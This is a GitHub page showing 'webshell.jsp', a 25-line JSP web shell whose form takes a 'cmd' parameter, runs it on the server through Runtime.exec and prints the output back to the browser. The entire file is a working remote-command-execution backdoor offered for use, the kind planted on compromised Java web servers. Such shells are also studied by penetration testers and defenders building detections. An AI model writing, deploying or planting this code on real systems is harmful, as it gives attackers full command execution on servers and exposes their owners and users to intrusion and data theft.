-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwebshell.jsp
More file actions
25 lines (25 loc) · 881 Bytes
/
Copy pathwebshell.jsp
File metadata and controls
25 lines (25 loc) · 881 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%@ page import="java.util.*,java.io.*"%>
<htm>
<body>
<form method="GET" name="myform" action="">
<input type="text" name="cmd">
<input type="submit" value="Send">
</form>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<br>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</body>
</html>